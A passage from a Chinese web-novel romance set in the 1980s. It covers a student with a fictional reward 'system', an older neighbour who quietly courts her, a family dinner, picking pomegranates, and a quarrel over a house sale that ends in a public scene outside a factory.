下午的课提前一个小时就结束了,学生们欢呼着冲出教室,恨不得立刻飞回家。 时墨收拾好书包,刚走出教学楼,就听见有人叫她。 “时墨!” 她回头一看,是秦野:“怎么了,是有什么事?” 秦野脸冻得微红,快步走过来,眼神里带着藏不住的关心:“时墨,下这么大雪你怎么回家,有人接吗?” 时墨摇摇头:“没有,我去等公交车。” “这天气公交车慢,也不好等,你要不跟我一起走吧?”秦野看似理由充分,紧接着说出邀请,“我家车来接我,正好顺路送你一程。” 时墨刚要开口婉拒,一道温和的声音就从旁边传了过来。 “时墨。” 她转过头,谢时昀正撑着一把黑伞,站在不远处的雪地里,身上落了一层薄薄的雪,显然已经等了有一会儿了。 他一步步走过来,伞檐压得低,走到时墨身边,自然地把伞举到了她的头顶,对着秦野礼貌地点了点头,又落回时墨身上,微微一笑:“你哥今天加班,让我来接你。走吧,车在校门口等着。” 时墨看着他,又看看旁边愣住的秦野,忽然明白了什么。 “秦野谢谢你,不用麻烦了,我哥朋友来接我,我回了啊。”她冲秦野摆摆手,然后跟着谢时昀往校门口走。 走出几步,她回头看了一眼——秦野还站在原地,脸上的表情有些复杂。 谢时昀走在她身侧,伞往她这边倾了倾,挡住时墨的视线。 “你哥确实让我来接的。”他轻声说,语气里带着一丝解释的意味,“他今天加班走不开,正好我下午没事。” 时墨点点头:“嗯,又麻烦你了。” “不用跟我太客气。” 雪还在下,纷纷扬扬的。 谢时昀正看着前方的路,伞稳稳地撑在她头顶,自己的半边身子都露在雪里。 察觉到她的目光,他转过头,笑问:“怎么了?” “没什么。”时墨收回目光。 谢时昀笑了笑,没说话。 两人并肩走进雪里,身后留下一串深浅不一的脚印。 秦野看着谢时昀举在时墨头顶的伞,回想起对方刚才看时墨的眼神,心一沉,随即又觉得自己想多了,对方年龄看着不小了,应该是他想多了。 * 时墨走到校门口,对着谢时昀语气礼貌而疏离:“谢谢谢同志特意过来,不过不用麻烦了,我坐公交回去也挺方便的。” 她没打算跟谢时昀走,秦野的好意她婉拒了,自然也没道理转头就坐上谢时昀的车,平白欠了人情。 谢时昀握着伞柄的手紧了紧,伞檐又往她的方向倾了倾,将漫天风雪全挡在了外面,自己的半边肩膀则都露在了雪里。 谢时昀语气温和地明说:“时墨,你哥今天加班走不开,千叮咛万嘱咐,一定要把你安全送到家。我受人之托,终人之事。你要是真不想坐车,我可以陪你坐公交回去。” 时墨侧头盯着谢时昀笑道:“哦?我倒是不知道谢同志和我哥一个单位。” 谢时昀听出时墨话中的嘲讽,垂眸解释道:“下午顺路经过机械研究所……” “哦,又是顺路。”时墨明白似地点点头,“原来谢同志家住在罗马。” 见谢时昀吃瘪,时墨这才闭嘴,她讨厌被人计划、安排。 谢时昀知道这次是自己关心过头,做事急了,殷勤的为时墨打开后座车门:“不管怎么说,今天我答应了你大哥,总要给他一个交代。” 时墨颔首,弯腰坐进车里:“那就麻烦谢同志了。” 谢时昀替她关上车门,从另一边上车,随时墨一起坐在了后座。 车子缓缓驶离学校,雪还在下,大片大片落在车窗上,很快就被雨刷刮去。 上车前他让司机把暖气调得更暖了些,等到时墨坐稳后,就从保温壶里倒了杯温热的红糖水,递到她手里:“先喝点暖暖身子,刚才在外面站着聊半天,别冻感冒了。” 时墨接过杯子,指尖触到温热的杯壁,却没急着喝。 她垂眼看了看杯子里的红糖水,又抬眼看向谢时昀,似笑非笑:“谢同志准备得倒是挺周全。” 谢时昀动作微顿。 时墨低头喝了口红糖水。 暖意顺着喉咙滑下去,驱散了一身的寒气。 “谢谢。”她说,“今天麻烦你两回了,回头让我哥请你吃饭。” “不用这么客气。”谢时昀笑了笑,目光落在她沾了点雪沫的发梢上,“邻居之间互相帮忙,应该的。” 时墨瞥了谢时昀一眼,笑着点点头。 “早上叫我谢哥,现在又成谢同志了?”谢时昀语气轻松带着点不易察觉的试探 时墨抬眼看他:“早上随我哥叫,现在得看场合。毕竟今天麻烦您好几次,该有的尊重得有。” “您?”谢时昀失笑,“我有这么老?” 时墨歪了歪头,打量他两眼,那目光坦然得近乎放肆,却又让人挑不出毛病。 “谢同志比我大九岁吧?”她语气平淡,陈述事实,“我叫一声‘您’,不算过分。” 谢时昀脸上的笑意僵了一瞬—— 作者有话说:我如果改更新时间会和大家提前说谢谢大家支持喜欢 第43章 九岁。 他当然知道自己比她大九岁。但此刻被她这样轻描淡写地摆在台面上, 像一记不轻不重的提醒。 他第一次觉得,这个数字有点刺眼。他怕不是在她眼里,只是个年长许多的长辈。 他喉结动了动, 半天没说出话来, 车厢里的气氛瞬间安静了几分。 “不过谢同志要是不习惯, 我还是叫谢哥。”时墨收回目光, 又喝了口红糖水,语气随意得像在说今天天气不错,“称呼而已,怎么顺口怎么来。” 谢时昀看着她,忽然觉得自己刚才那一瞬间的在意, 在她眼里大概毫无意义。 她根本不在意。 这个认知让他心里有点涩, 又有点说不清的……庆幸。 “随你。”他听见自己说。 时墨嗯了一声,没再继续这个话题。 沉默了几秒, 谢时昀找了个话题:“你买的那处院子, 这种天气,雪积得厚, 得尽快清理。我清早清理门口积雪时, 顺道帮你把院门口的雪清了。我看你院里的石榴树, 枝上雪压得厚, 久了枝桠怕被压折。你要是不尽快过去, 树上的石榴也该吃不了了。” 时墨挑了挑眉:“谢哥起得挺早。” “习惯了。” “那多谢了。”时墨点点头,“我明天让我哥过去一趟。” “我离得近,更方便。你要是忙, 院门钥匙放我那儿,我顺手就清了。” 时墨看了他一眼,故作疑惑道:“谢哥, 你好像对我那个院子挺上心。” 谢时昀被她这一眼看过来,仿佛心里的想法被戳破。 但他面上不显,只是笑了笑:“邻居嘛,互相照应是应该的。” “也是。”时墨收回目光,语气随意,“那以后有事就麻烦谢哥了。” 谢时昀听着她这理所当然的语气,心里忽然有点想笑。 明明是他在帮她,她却像是在给他面子。 但他还偏偏……挺受用。 “对了,谢哥。”时墨忽然换了话题,“你那个外贸公司,现在业务怎么样?” 谢时昀微微一怔。 时墨这话题跳得真快。 谢时昀顺着她话答道:“国家刚批了外贸体制改革报告,政企分开,简政放权,外贸经营权下放到地方,路子宽了不少。正好赶上沿海城市开放,机会比前两年多。” 时墨点点头,又问:“那你们主要出口什么品类?纺织品?工艺品?还是机电?” 谢时昀眼里的欣赏又深了几分:“都有涉及。纺织品和工艺品走量,机电产品利润高,但品控难抓。” “品控确实是问题。”时墨指尖轻轻敲了敲杯壁,“乡镇企业想出口,但质量跟不上。与其盯大厂,不如找经营困难的小厂,你给技术标准、原材料,他们按你的要求生产,相当于代工厂,品控反而好抓。” 谢时昀怔了一下。 这个思路,他想了许久才想明白。她竟随口就说了出来。 “你接着说。”他看着时墨,眼里有光在闪。 时墨注意到他眼神的变化,笑了笑:“我瞎琢磨的,谢哥听听就行。不过外贸这块确实是风口,用出口赚的外汇引进技术,改造老厂,路子能越走越宽。我看报纸上说,很多厂都在技改,设备更新是趋势。比如塑料模具,国内还是空白,要是能引进,前景应该不错。” 谢时昀看着她,半天没说话。 塑料模具——正是他最近在跟香江公司谈的项目。 “你对这个感兴趣?”他语气里带着试探地问道。 时墨摇摇头,靠在椅背上:“我懒,费脑子的事干不来。就是看报纸瞎聊。” 谢时昀看着她,忽然笑了。 “时墨,你知不知道,你每次说自己懒的时候,最不像个懒人。” 时墨愣了一下,随即弯了弯唇角:“谢哥,你这是在夸我还是损我?” “夸你。” “那我收下了。” 车子拐进胡同口,缓缓停下。 时墨放下空杯子,推开车门,冷气扑面而来。她回头冲谢时昀道谢:“谢哥,今天又麻烦你了。快回去吧,雪越下越大了。” “不麻烦。”谢时昀看着她,“要是去院子里收拾,缺什么工具,或者需要帮忙,随时叫我。我要没在家,钥匙在门口石狮子脚下,你直接进院拿。” 时墨点点头,推门下车。 走出几步,忽然回头。 车子还停在原地,谢时昀隔着车窗看她,见她回头,立刻抬手冲她挥了挥,眼底的温柔满到快藏不住溢出来。 时墨也挥了挥手,转身进了楼道。 谢时昀看着她的背影消失在楼道里,才轻轻靠回座椅,闭上眼,叹了口气。“走吧。” 司机发动车子,从后视镜里看了一眼自家老板,忍不住问道:“老板,您这大雪天等了快一小时,就为了送人回家。还起大早帮人清了雪。怎么不跟她说实话啊?” 谢时昀没回答。 他只是靠在座椅上,闭上眼睛。 九岁。 他从来不在意自己的年龄。 但今天,她轻描淡写说出那个数字的时候,他第一次觉得,自己老了。 不是年纪老。 是……不够年轻。 不够年轻到可以理直气壮地站在她面前,不用任何理由,不用任何借口。 只能借着“邻居”的名义,借着“受人之托”的理由,一点一点靠近。 司机见他不答,也不敢再问。 车子在雪中缓缓远去。 谢时昀睁开眼,看向窗外纷飞的雪。 她说他准备周全。 她说他挺上心。 她说他比她大九岁。 每句话都平常,每句话都像提醒。 但他知道,她不是故意的。 她只是……不在意。 不在意他的年纪,不在意他的心思,不在意他为她做的这些。 就像她不在意自己随口说的那些话,能让他想很久。 * 时墨一进门,就看见时建军正窝在沙发上看书,手里还拿着个包子啃。 “哥,你不是加班吗?” “厂里雪太大,提前放了半天假,下午三点就回来了。”时建军抬头看着时墨问,“谢哥去接你了?” “嗯。”时墨换下湿漉漉的棉袄,“他说你让他去的?” 时建军点点头:“我下午看天气估计你们学校得提早下课,但我又临时走不开,正好碰到谢哥,就托他顺路接你一下。没给人家添麻烦吧?” 时墨这才信了。 原来真是她哥托的。 她心里那点异样,稍稍淡了些,摇了摇头:“没有。“ “我就说谢哥人靠谱!”时建军一拍大腿,坐起来就开始夸,“人家不光人好,还有文化、有本事!长得还俊,家世也好,待人接物也得体,简直挑不出一点毛病!” 时墨听着他滔滔不绝地夸,扶了扶额:“哥,谢时昀知道你是他迷弟吗?” “迷弟?那是啥玩应儿?” “没啥。” 正说着,李秀兰端着一锅热汤从厨房出来:“回来了?快来喝碗姜汤,去去寒!” 时墨接过碗,捧在手里,热气腾腾的,暖意从掌心漫到心里。 时爱国也下班回来了,抖了抖身上的雪,在门口换了鞋。 饭桌上,一家人围坐在一起,热热闹闹地吃着晚饭。 “墨墨,今天谢时昀去接你了?”时爱国问。 “嗯,我哥托他去的。” 时爱国点点头:“小谢确实人不错,他爸妈都是首都大学的教授,书香门第,家教好,自己也争气,不靠家里自己出来闯事业,年纪轻轻就做得有模有样,难得。” 李秀兰也跟着说:“可不是嘛,我听人说,小谢今年都27了,怎么还没处对象啊?他这条件,什么样的姑娘找不到?” 她说着,还碰了碰时爱国的胳膊:“老时,你跟他熟,你知不知道啥情况?是不是人家眼光太高了?” 时爱国又夹起被碰掉的白菜:“这我哪知道?人家私事,我虽说是长辈,但跟人也没啥关系,怎么好意思问?” “二十七了,还没对象,应该是谢哥眼光高,一般人看不上。”时建军觉得自己猜到了真相。 李秀兰感慨道:“二十七,正是结婚的年龄。家世好,人品好,有本事——这条件,打着灯笼都难找。” 时墨埋头吃饭,装作没听见家人八卦。 时爱国却想起一件事:“说起小谢,我倒是想起来了。当初墨墨复习资料都是谢时昀给整理的,要不是赵厂长有次说漏嘴我都不知道。” 时墨筷子一顿。 那些资料,每科的考点归纳、典型例题、解题思路,条理清晰,重点突出,有多实用,她最清楚。 她之前以为是赵厂长为了相亲的事赔罪,没想到…… “老赵说,那孩子不让告诉你,说怕你有负担。”时爱国感慨道,“你说这孩子,心眼多实诚。” 李秀兰也愣了,随即感慨道:“哎哟,这孩子,心也太细了!做了这么多事,还一声不吭,真是难得。” 时墨心里忽然像被什么东西轻轻撞了一下。 吃着吃着,时爱国突然道:“对了,说起赵家那小子,我听人说现在不闹了,正常去文化馆上班了,也不跟人瞎搞音乐,说是找正经人学,看着比之前上进多了。” 时建军嗤笑一声:“真是太阳打西边出来了,说到底那还不是让我妹给骂醒的。妹,你那天跟他说啥了?” 时墨淡淡一笑:“没说什么,就正常劝诫,我也不喜欢他。” 李秀兰叹了口气:“那孩子其实也不坏,就是从小被惯坏了,没吃过亏。能想通就好,之前闹得鸡飞狗跳的,可把我愁坏了,现在总算消停了。” “可别找我妹。”时建军赶紧说,“我妹可不稀罕他。” 时爱国点点头,沉声道:“赵宏林也是个明事理的,把孩子管起来了,没让他再瞎闹。说起来,赵星宇和小谢还是表兄弟,俩孩子都是一个姥姥家的,性格、本事,差得也太远了。” “那能一样吗?”李秀兰说,“你忘了谢时昀父母从小怎么教育的?赵星宇那孩子,从小被惯着,啥苦没吃过,当然不懂事。” 时爱国点点头 :“我倒是听赵厂长以前说过,他家教严,也是,人家父母都是教授。” 时墨听着,没说话。 窗外的雪还在下,纷纷扬扬的。 【宿主,您的心率略有波动。】系统的声音忽然响起,【需要关注吗?】 时墨在心里翻了个白眼:【不用。】 【好的。】系统顿了顿,又补了一句,【需要检测谢时昀心率值吗?】—— 作者有话说:时墨:搞钱搞钱搞钱。 谢时昀:看我看我看我。 第44章 时墨起了好奇:【你能检测他?】 【需要花钱或者用能量币。】 【不用, 我穷。】 【宿主不穷呀,能量币有11260呢。】 【一万多了啊,看看能买什么。】 【叮——系统商城已开启。】 系统话音落下, 时墨的眼前瞬间铺开了一面半透明的虚拟面板。 【宿主当前能量币:11260。可购买商品如下。】 时墨来了兴趣, 细细浏览起来。 【初级体质增强丸:可提升宿主抗疲劳能力, 兑换需20000能量币。】 【基础格斗技能:可赋予宿主基础格斗能力, 兑换需30000能量币。】 【即时翻译:可让宿主听懂/说出任意外语,时效24小时,兑换需6000能量币。】 【未来趋势报告:十年国内经济发展趋势分析报告、各行业风口预判手册,兑换需500000能量币。】 【……】 时墨一路看下来,表情逐渐微妙。 【系统, 你是不是对我有什么误解?】她在心里问, 【你看看这些价格,再看看我的余额, 我能买得起什么?】 【系统已根据宿主当前资产水平进行智能筛选。】系统的声音一本正经, 【最下方有“特价专区”,宿主可查看。】 时墨往下滑, 果然看到一个灰扑扑的板块。 【特价商品(限时)】 【暖宝宝(10片装):可自动调节温度, 持续发热8小时。原价800, 特价300能量币。】 【知识碎片包(随机):可获得某个领域的碎片化知识(内容随机)。原价5000, 特价1500能量币。】 【好运符(单次):可小幅提升接下来一小时内某件事的成功概率。原价3000, 特价800能量币。】 时墨:“……” 【价格倒是便宜挺多。】她嘴角忍不住抽了抽,【但说实话,这些东西……】 【宿主觉得不实用?】 【不是不实用。】时墨斟酌了一下措辞, 【是对我来说性价比不高。暖宝宝鸡肋,知识碎片包随机性太强,万一随机到‘养猪技巧’呢?好运符倒是有点意思, 买一张。】 【好的,已扣除800能量币,剩余10460能量币。】 正说着,时墨脑海里忽然响起一阵提示音—— 【叮!紧急喜报!恭喜宿主,触发“善有善报”隐藏成就!】 【首都警方于近日成功破获跨省特大拐卖妇女儿童团伙案,抓获涉案人员27名,解救被拐儿童19名、妇女6名!该案核心线索,来源于宿主9月在火车站拦截并举报的4名人贩子,经审讯深挖,成功捣毁整个犯罪团伙!】 【警方已确认,此案为近三年破获的最大规模拐卖儿童案。当地公安局已向上级申请,拟对提供关键线索的群众进行表彰。】 【根据系统规则,宿主在此案中的贡献,折算奖励如下——】 【能量币+30000】 【声望值(本世界)+500】 【特殊称号:守护者(佩戴后可小幅提升对儿童、老人的亲和力)】 一连串的播报,让时墨手里的筷子都顿住了。 她愣了好一会儿,才回过神来。她没想到快时隔两个月,警方竟然顺着这条线索,端掉了整个跨省的拐卖团伙,还救了这么多孩子和妇女。 比起能量币和技能奖励,更让她开心的,是那些被拐的孩子能回到亲生父母身边,那些破碎的家庭能重新团圆,不再饱受分离之苦。 【恭喜宿主!做了一件很了不起的事!】系统的声音激昂道,【挽救了17个孩子,17个家庭。改变了6名妇女的人生轨迹!】 时墨压下心里的翻涌,嘴角忍不住扬起,在心里回道:【真正了不起的,是那些把孩子找回来的警察。】 【宿主心善,这都是您应得的!】 【系统检测到宿主欣慰、满足的情绪值在上升。】 李秀兰见她拿着筷子发呆,嘴角还带着笑,伸手碰了碰她的胳膊:“墨墨,想啥呢?饭都凉了,快吃啊。” “啊,想着打雪仗呢。”时墨回过神笑了笑,夹了口菜。 “这天可老实在家呆着吧,外面……” * 当晚,下了两天的大雪终于停了,只偶尔飘点零星的雪沫子。 次日,天终于放晴了,只有细碎的小雪粒随风飘着,太阳透过薄云洒下来,照在雪地上,晃得人眼睛都睁不开。 兄妹俩穿得厚厚的,骑车直奔胡同院子。 看到干净的门口,时墨愣了一下。 大门口和小路都被清得干干净净,连雪沫子都没有,一看就是有人大清早清过了。 “肯定是谢哥把门口和路清了。”时建军左右看了看,招呼时墨开门,“他估计是怕咱们来了进不了门,但院里得咱们自己来。” 时墨点点头,上前打开大门,果不其然,院内积雪厚的够能盖雪屋子了。 “妹,你就在边上站着,别动手,雪厚得很,你没力气不好弄。”刚推开院门,时建军就把时墨拦在了身后,拿起铁锹就开始清院里的积雪。 时墨刚要开口,系统提醒道:【宿主不可从事体力劳动,你哥哥自己一个人能干得过来。】 “那行,哥你清出条小路俩,我去找找有没有炉子啥的,先把屋子烤暖和了,你清完雪进屋暖乎。” “行!” 时建军甩开膀子干,没一会儿清出正屋的小路,时墨赶紧走过去。 正屋门一推开,一股冷气扑面而来。 屋里和外面差不多温度,但至少没风。 时墨四处看了看,在角落里找到一个落满灰的炉子,还有一摞旧报纸和半筐炭。 她蹲下来,开始生火。 等时建军把院里雪铲完,进屋的时候,屋里已经有了一丝暖意。 炉子里的火苗跳动着,映得墙壁忽明忽暗。 “嘿,我妹还会生炉子?厉害啊!”时建军惊讶道。 “以前看你们生过,照葫芦画瓢呗。”时墨拍拍手上的灰,“石榴树那边怎么样?” “树没事,就是枝子压弯了,我把雪抖掉了。”时建军搓搓手,在炉边烤着,“等会儿把石榴摘了就行。可惜有些已经冻坏了,这场雪来得太突然。” 时墨抬头看着窗外那颗老石榴树,枝桠上挂着不少石榴,在白雪映衬下格外好看。但仔细看,确实有些已经裂了口子,蔫了。 “坏的摘下来也别扔,回去看看能不能熬点果酱。” “行。” 兄妹俩暖和过来从仓房里找出梯子,时建军爬上去摘,时墨在下面接。 “哥,你小心点!”时墨连忙扶着梯子,看着时建军小心翼翼地爬上去。 “放心,我稳着呢。”时建军摘下一个又大又红的,扔给时墨,“接着!” 时墨手忙脚乱接住,嗔怪道:“你扔那么高干嘛!” “考验你反应能力!”时建军嘿嘿一笑,又摘了一个扔下来。 时墨这回稳稳接住,瞪他一眼:“再来?” “来就来!” 时墨接石榴接得手忙脚乱,时不时被时建军的假动作“吓”到,俩人笑闹的声音穿过院墙。 对面院里。 谢时昀此刻正站在自家书房的窗边看书,窗帘半拉开,听见隔壁的笑声,手里的书半天没翻一页,目光落在对面院子里时墨蹦蹦跳跳的身影上。 她来了。 他早上听见动静的时候,就知道她来了。 他记得昨天在车上,时墨随口提了一句,院里的石榴再不摘就冻坏了。他当时没接话,却记在了心里。 原本想着,等她来了,借着送工具的由头,过去帮忙,可一想到昨天她说“你比我大九岁”的时候,那个语气,那个表情…… 脚步便像灌了铅一样,怎么也迈不出去。 他只能站在窗边,隔着一条街,两道院墙,安安静静地看着她笑,看着她闹,看着她接过石榴时,眼里亮晶晶的光,连嘴角都不自觉地跟着扬了起来。 谢时昀看着对面院墙,听着那头的笑声,站了很久。 她说过,石榴摘了会给他送来。 他等着。 * 时建军摘了满满两袋子石榴,从梯子上下来,拍拍身上的雪。 “妹,你先在这屋里烤着火,我把石榴给谢哥送去。人家帮咱们清了雪,怎么也得表示表示。” 时墨点点头,递给时建军一个小拎筐:“那你快点,咱们一会儿还得收拾屋里。” “嗯,我快去快回。”时建军拎着小拎筐,挑出兜子里个头最大的石榴,推开院门,往谢时昀家走去。 刚敲没两声门就开了。 谢时昀站在门内,看见时建军的那一刻,眼里的瞬间暗了下去,快得让人抓不住,只有嘴角还维持着礼貌的笑意:“建军?快进来坐。外面冷。” “不了不了,谢哥,我就不进去了”时建军笑着把手里的小筐递过去,筐里装着满满一筐红彤彤的石榴,个个都挑的最大最红的,“我妹说,院里的石榴熟了,特意让我给你送点过来,谢谢你前几天帮我们清了院里的雪。” 谢时昀接过筐,视线不由自主地往对面瞟,院门开着,却没看到那个熟悉的身影。 他压下心里的失落,笑着道:“跟你妹说,太客气了,就是顺手的事,还特意送石榴过来。” “应该的应该的!”时建军大大咧咧地摆了摆手,完全没察觉到他眼里的失落,“我妹在屋里收拾呢,说等天彻底晴了,再过来大扫除,好好收拾收拾这院子。” “这院子空了挺久,是得好好收拾收拾。”谢时昀顺着他的话接下去,语气里带着不易察觉的试探,“你妹一个小姑娘,收拾起来费劲,要是缺什么工具,或者需要人手,随时叫我,我反正离得近,有的是时间。” “哎,好嘞!谢谢谢哥!”时建军笑着应下,“那我先回去了,她一个人在那边呢。” 时建军转身要走,谢时昀又叫住他:“等等。” 时建军回头。 谢时昀犹豫了一下,问:“她……今天穿得够厚吗?雪停了冷,干活别冻着。” 时建军笑道:“谢哥你这心也太细了!放心,我妹穿得厚着呢,围巾手套一样不少。她那人最怕冷,出门前我妈还给她灌了热水袋揣棉袄里。” 谢时昀点点头,没再说什么。 时建军挥挥手,回了对面。 谢时昀关上门,拎着那筐石榴,站在门内没动。 大约过了一刻钟,对面传来了自行车的铃铛声,还有时墨和时建军的说笑声。 “妹,你锁好门没?” “锁好了。” “上车,我带你。” “等等,我围巾松了。” “笨死了,来,哥给你系。” 谢时昀轻轻拉开院门一条缝,透过门缝看出去。 时墨坐在自行车后座,手里抱着半袋石榴,侧着头跟时建军说着什么,笑得眉眼弯弯,时建军正低头给她系围巾。系好了,拍拍她的脑袋,跨上车。 “走喽——坐稳!” 自行车晃晃悠悠骑远了。 谢时昀站在门后,直到看不见时墨的身影才关上院内,低头看了看手里的石榴筐,嘴角扯出一抹无奈又温柔的笑。 他把石榴一个个拿出来,摆在客厅的果盘里,挑了个最大在手里转了转,把玩够了方才剥开,石榴籽饱满通红,甜汁在嘴里爆开,可他心里,却泛着一点说不清道不明的涩。 * 时建军蹬着自行车,带着时墨往家走,路过老屋胡同时,正好撞见老邻居刘叔在院门口扫雪。 刘叔一看见他俩,立刻扔下手里的扫帚,快步迎了上来,脸上带着点急色:“墨墨?建军?可算碰见你们俩了!我正想找你们呢!之前你爸妈不是说要买我们的房子吗?怎么这么久都没信儿了?我和小王两口子,都等着你们呢!”—— 作者有话说:时墨:撒雪花,接石榴 谢时昀: |_?) 第45章 时墨闻言笑了笑, 从自行车上跳下来,故作可惜地叹了口气:“唉,刘叔, 实在对不住, 这事黄摊子了。” “黄了?咋黄了?”刘叔一下子急了, “不是说好了, 我和小王都愿意按市价卖,就差张寡妇那一间了?” “就是因为她。”时墨耸了耸肩,把当初的事原原本本说了一遍,“我爸妈那天过来跟你们谈,张寡妇一张嘴, 把房价翻了一倍, 明摆着把我们当冤大头宰。我爸妈当时就气坏了,说这房子不买了。本来就是想着凑个整院子, 住着方便, 她这么一闹,我们也没必要热脸贴冷屁股, 索性就不买了。” 刘叔倒吸一口凉气:“她那破院子, 也真敢要!” “谁说不是呢。”时墨叹了口气, 一脸遗憾, “我妈说, 你们都是一个院的老邻居,低头不见抬头见的,她要是用低价买你们的, 怕你们以后心里不舒服。要是用高价买,我们家又拿不出那么多钱。想来想去,这事儿就先搁下了。刘叔, 实在对不住啊。” “这个挨千刀的张寡妇!”刘叔一听,脸瞬间气红了,破口大骂,“我就知道她没安好心!之前我们俩劝她,按市价卖就得了,她非说你们家有钱,非要多讹点!合着她自己不想卖,还耽误我们俩的好事!” 他早就想把这老房子卖了,凑钱给儿子在新家属院买楼房,就等着时墨这边给钱呢,结果被张寡妇搅黄了,能不气吗? “实在对不住了刘叔,这次是没缘分。”时墨装作一脸可惜的样子,“以后要是再有机会,我们肯定先考虑您和王哥的房子。” “哎,行,行。”刘叔叹了口气,也没别的办法,只能摆摆手,“那你们慢走,有空过来串门。” 时墨笑着应下,跳上自行车后座,冲他挥挥手:“刘叔您忙着,我们先走了啊,天冷,您注意身体。” 时建军心领神会,蹬起车子就走。 刚骑出没多远,就听见院里传来刘叔破口大骂张寡妇的声音,骂得那叫一个难听,隔远了都能听得清清楚楚。 时建军憋着笑,骑得快了些。 等拐过弯,实在忍不住了,哈哈大笑起来。 “妹!你可太损了!你看看刘叔那张脸!” 时墨靠在时建军背上,忍不住笑出了声,心里那叫一个痛快。 “损吗?我只是实话实说。” “实话实说?”时建军笑得直抖,“你是实话实说,但你这实话实说,够老刘在家骂三天了!” “谁让张寡妇坐地起价,把咱家当肥羊宰,现在好了,不仅没捞到好处,还把邻居得罪了个遍,也算给咱爸妈出口恶气。” “确实是她活该。”时建军笑道,“想敲咱家竹杠,也不看看自己有没有那个本事。诶,妹,你说老刘他们会去找张寡妇麻烦不?” “不知道。”时墨拢了拢围巾,“跟我没关系。” 时建军笑着摇头:“你啊,看着好说话,心里门儿清。” * 张寡妇被刘叔一家四口堵在院里骂了整整一上午,连带小王两口子也指着鼻子数落她搅黄了卖房的好事,唾沫星子喷了她一脸。 她非但没觉得自己坐地起价有错,反倒把所有怨气都算在了时家头上——要不是时墨一家挑头买房,她何至于被邻居挤兑得抬不起头? 张寡妇心里的火气越攒越旺,她拍了拍身上的雪沫子,把棉袄一裹,直奔第三纺织厂去了。 她心里打得一手好算盘:李秀兰是细纱车间的班长,刚凭着闺女捐国宝的事评了厂里的先进工作者,最看重名声。她去厂门口一闹,把脏水往时家身上一泼,就算最后没理,闲话也能传出去,非得让李秀兰在厂里抬不起头不可!呲,真是手里有点逼钱不知道咋得瑟好了! 中午正是工厂换班吃饭的点,车间门口人来人往,全是端着搪瓷缸子、拿着饭盒的工人,闹哄哄的全是说话声。张寡妇往门口台阶上一站,两手往大腿上一拍,扯开嗓子就嚎上了,那声音尖得能刺破房顶: “大家都来评评理啊!红星机械厂的时爱国、李秀兰一家,仗着闺女捐了个破画得了点奖金,就欺负我们老百姓啊!” 这一嗓子,瞬间让喧闹的厂门口静了一瞬,所有人的目光都聚了过来。 张寡妇见围上来的人多了,哭得更起劲儿了,嘴里的歪理一套一套往外冒:“他们家想买我们胡同的院子,就指使街坊邻居围攻我、骂我,逼着我把房子贱卖给他们!我不答应,他们就搅黄了所有人的买卖,转头就赖我头上!我被邻居堵着门口骂了一上午!你们厂李秀兰买不起房就别充大尾巴狼!自己不出面,躲在背后指使人围攻我,逼着我把房子便宜卖给她!” “李秀兰!你有本事出来!当着大家伙的面说说,你们家是不是想仗着有钱,吞了我们整个院子!是不是看我们孤儿寡母好欺负!” “还有啊!”张寡妇见有人围观,嗓门更亮了,“他们家那点奖金,来路正不正还两说呢!一幅破画就能得那么多钱?指不定是跟什么人串通好的!拿着不干不净的钱来欺负我们老百姓,这种人家的闺女,还被厂里当成榜样,你们厂评的先进,就这德行?” 她这话说得毒,既把自己塑造成了被欺负的弱势群体,又把刘叔小王围攻她的事栽赃成时家指使,暗戳戳地指时家是仗势欺人的主儿。最后把李秀兰刚因为女儿捐国宝被评的先进工作者名声往泥里踩。 围观的工人瞬间议论开了,交头接耳地看着热闹。 这话刚落,人群外就传来一声炸雷似的怒喝:“姓张的!你把嘴给我放干净点!” 李秀兰端着饭盒刚从车间出来,就听见这污言秽语,脸瞬间黑得像锅底。她把饭盒往身边相熟的工友手里一塞,大步流星地挤开人群,往张寡妇面前一站,一米六多的个子站得笔直,叉着腰眼神凌厉地盯着她,气场直接压了张寡妇一头:“我当是谁在这儿满嘴喷粪,原来是你!怎么?你自己坐地起价把邻居都得罪光了,跑到我们厂里来放屁?” “李秀兰,你来得正好,咱当面锣对面鼓说说清楚!”张寡妇见李秀兰出来了,心里先虚了三分,嘴上却依旧不饶人,“你家丫头片子捐了幅画就抖起来了,让老刘小王两家逼着我卖房,堵在我家门口骂我,把我们家房价压得死死的!逼我把房子八百块钱贱卖给你?我们家房子凭什么不能卖高价?你们家买不起就别充大尾巴狼,耍这种阴招算什么本事!你们家有钱了不起啊?欺负我们平头老百姓!” “我呸!”李秀兰一口唾沫差点啐她脸上,眼睛瞪得溜圆,嗓门亮得整个厂门口都听得见,“你还有脸说?我问你,老刘和小王为什么骂你?还不是因为你一张嘴,把一间公家估价八百的破北屋,喊到了一千六!我们家诚心诚意买房子,跟老刘、小王都按市价谈妥了,就你,看我们家闺女得了奖金,就想把我们当冤大头宰!怎么?讹钱没讹成,反倒怪我们不伸脖子让你宰?” 李秀兰声音洪亮,车间里的工人都围了过来,里三层外三层的。大多数人跟她共事了十几年,都知道她为人正直公道,从不说瞎话,瞬间都信了七八分。 张寡妇脸一白,梗着脖子喊:“我的房子我想卖多少卖多少!你们不买就算了,凭什么挑唆街坊邻居跟我作对?现在他们俩房子卖不出去,都来怪我,不是你指使的是谁?” “你要点脸吧!”李秀兰往前逼了一步,眼神像刀子似的扎在她身上,“人家老刘要给儿子买楼房缺钱,小王要凑钱给老母亲治病,急着卖房,全被你搅黄了!人家不怪你怪谁?用得着我挑唆?全胡同的人都知道你心黑,想讹钱,也就你自己觉得自己有理!” “你胡说!”张寡妇急了,伸手就要去扯李秀兰,“就是你们家的错!要不是你们要买房子,能有这些事?” 李秀兰一把打开她的手,嗓门提得更高,让周围所有人都听得清清楚楚:“大家都听听!她自己坐地起价讹人不成,反倒怪我们不该买房子!天下哪有这样的道理?我们家闺女捐国宝给国家,上了《百姓日报》,是领导亲自接见、给发的奖金和奖章!光明正大,干干净净!你张寡妇算个什么东西?也配在这儿嚼我闺女的舌根?往一个一心为国的孩子身上泼脏水,你就不怕遭雷劈?!” 这句话掷地有声,围观的工人瞬间炸了锅: “我说呢!原来是这女的想讹钱!真够黑心的,一间破房子翻一倍要价!” “就是!人家闺女给国家做贡献,她倒好,跑这儿来造谣!真不是东西!” “李班长是什么人咱们还不知道?她能干这种仗势欺人的事?全是这女的胡编乱造!” “赶紧滚吧!别在我们厂门口丢人现眼!再闹我们叫保卫科了!” 张寡妇看着周围人鄙夷的眼神,听着一句句指责,脸一阵红一阵白,浑身都在抖。 